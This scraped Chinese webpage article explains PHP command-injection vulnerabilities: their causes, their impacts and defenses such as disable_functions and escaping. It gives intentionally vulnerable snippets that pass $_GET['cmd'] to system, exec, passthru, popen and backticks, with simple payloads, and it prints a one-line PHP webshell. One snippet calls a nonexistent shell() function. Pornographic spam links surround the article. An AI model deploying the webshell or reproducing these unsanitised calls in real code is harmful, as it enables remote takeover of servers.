国产成人精品久久免费动漫-国产成人精品天堂-国产成人精品区在线观看-国产成人精品日本-a级毛片无码免费真人-a级毛片毛片免费观看久潮喷

您的位置:首頁技術文章
文章詳情頁

php網絡安全中命令執行漏洞的產生及本質探究

瀏覽:43日期:2022-06-06 15:25:39
目錄
  • 漏洞的產生原因
  • 漏洞的本質
  • 涉及到的函數
  • 命令執行漏洞的危害
  • 命令執行漏洞的防御
  • 命令執行相關函數的使用
    • system()
    • exec()
    • shell_exec()
    • passthru()
    • popen()
  • 反引號

    漏洞的產生原因

    • 代碼層過濾不嚴。應用程序直接或間接使用了動態執行命令的危險函數,并且這個函數的運行參數是可控的
    • 系統的漏洞造成命令注入

    漏洞的本質

    應用有時需要調用一些執行系統命令的函數,當服務器沒有嚴格過濾用戶提供的參數時,就有可能導致用戶提交惡意代碼被服務器執行,從而造成命令執行漏洞。

    涉及到的函數

    • 1.system
    • 2.exec()
    • 3.shell_exec()
    • 4.passthru()
    • 5.popen()
    • 6.反引號

    命令執行漏洞的危害

    • 1.繼承Web 服務器程序權限(Web用戶權限),去執行系統命令
    • 2.繼承Web服務器權限,讀寫文件
    • 3.反彈Shell
    • 4.控制整個網站
    • 5.控制整個服務器

    命令執行漏洞的防御

    • 1、盡量少使用執行命令函數或者禁用disable_functions
    • 2、在進入執行命令的函數之前,對參數進行過濾,對敏感字符進行轉義
    • 3、參數值盡量使用引號包括,并在拼接前調用addslashes進行轉義

    命令執行相關函數的使用

    system()

    • 說明:能夠將字符串作為OS命令執行,自帶輸出功能
    • 測試參考代碼:
    <?php
    if(isset($_GET["cmd"])){
        system($_GET["cmd"]);
    }
    ?>
    payload:?cmd=ipconfig

    exec()

    • 說明:能將字符串作為OS命令執行,但無輸出,需要輸出執行結果print。
    • exec() 默認只輸出最后一行的數據
    • 如果想讓他輸出全部結果,可以加一個參數,即exec(ifconfig,$arr); print_r($arr);,如一句話木馬:<?php exec($_REQUEST[123],$arr);print_r($arr)?>
    • 測試參考代碼
    <?php
    if(isset($_GET["cmd"])){
        print exec($_GET["cmd"]);
    }
    ?>
    payload:?cmd=whoami

    shell_exec()

    • 說明:執行命令并以字符串的形式,返回完整的信息,但是函數無回顯,需要輸出執行結果。
    • 測試參考代碼
    <?php
    if(isset($_GET["cmd"])){
        print shell($_GET["cmd"]);
    }
    ?>
    payload:?cmd=whoami

    passthru()

    • 說明:執行外部命令,與system()類似,但是該函數會直接將結果輸出,無需輸出執行。
    • 測試參考代碼
    <?php
    if(isset($_GET["cmd"])){
        passthru($_GET["cmd"]);
    }
    ?>
    payload:?cmd=whoami

    popen()

    • 說明:能夠執行OS命令,但是該函數并不是返回命令結果,而是返回一個文件指針
    • 測試參考代碼
    <?php
    if(isset($_GET["cmd"])){
        $cmd=$_GET["cmd"].">>1.txt";
        popen($cmd,"r");
    }
    ?>
    payload:?cmd=whoami

    反引號

    • 說明:反引號[``]內的字符串,也會被解析成OS命令
    • 反引號背后執行的代碼其實是調用了shell_exec(),所以禁用了shell_exec()同樣反引號也無法使用了。
    • 測試參考代碼
    <?php
    if(isset($_GET["cmd"])){
        $cmd=$_GET["cmd"];
        print `$cmd`;
    }
    ?>
    payload:?cmd=whoami

    到此這篇關于php網絡安全中命令執行漏洞的產生及本質探究的文章就介紹到這了,更多相關php命令執行漏洞內容請搜索以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持!

    標簽: PHP
    主站蜘蛛池模板: 欧美精品成人3d在线 | 亚洲午夜一区二区三区 | 欧美videos娇小 | 欧美日韩视频在线第一区 | 国产一级做a爰片久久毛片 国产一级做a爰片久久毛片99 | 亚洲欧美一区二区三区 | 日本一区毛片免费观看 | 国内精品久久久久久久久蜜桃 | 欧洲成人在线视频 | 2019偷偷狠狠的日日 | 欧美成人毛片免费网站 | 国产午夜三区视频在线 | 深夜国产成人福利在线观看女同 | 国产中文99视频在线观看 | 深夜国产成人福利在线观看女同 | a级做爰视频免费观看 | 男人扒开腿躁女人j | 久久久久欧美情爱精品 | 国产精品美女免费视频大全 | 欧美一区二区三区精品 | 亚洲国产人成中文幕一级二级 | 久草免费公开视频 | 91啦中文成人 | 中文字幕乱码无线码在线 | 毛片久久久 | 日韩专区亚洲综合久久 | 国产精品亚洲玖玖玖在线靠爱 | 男女无遮挡拍拍拍免费1000 | 手机免费在线看毛片 | 欧美特黄视频在线观看 | se94se欧美| 日韩亚洲一区二区三区 | 国产精品免费看久久久 | 免费精品久久 | 99久久精品国产免费 | 97影院理论在线观看 | 久草在线观看福利 | 日韩在线欧美在线 | 夜色视频一区二区三区 | 免费视频观看在线www日本 | 亚洲午夜久久久久影院 |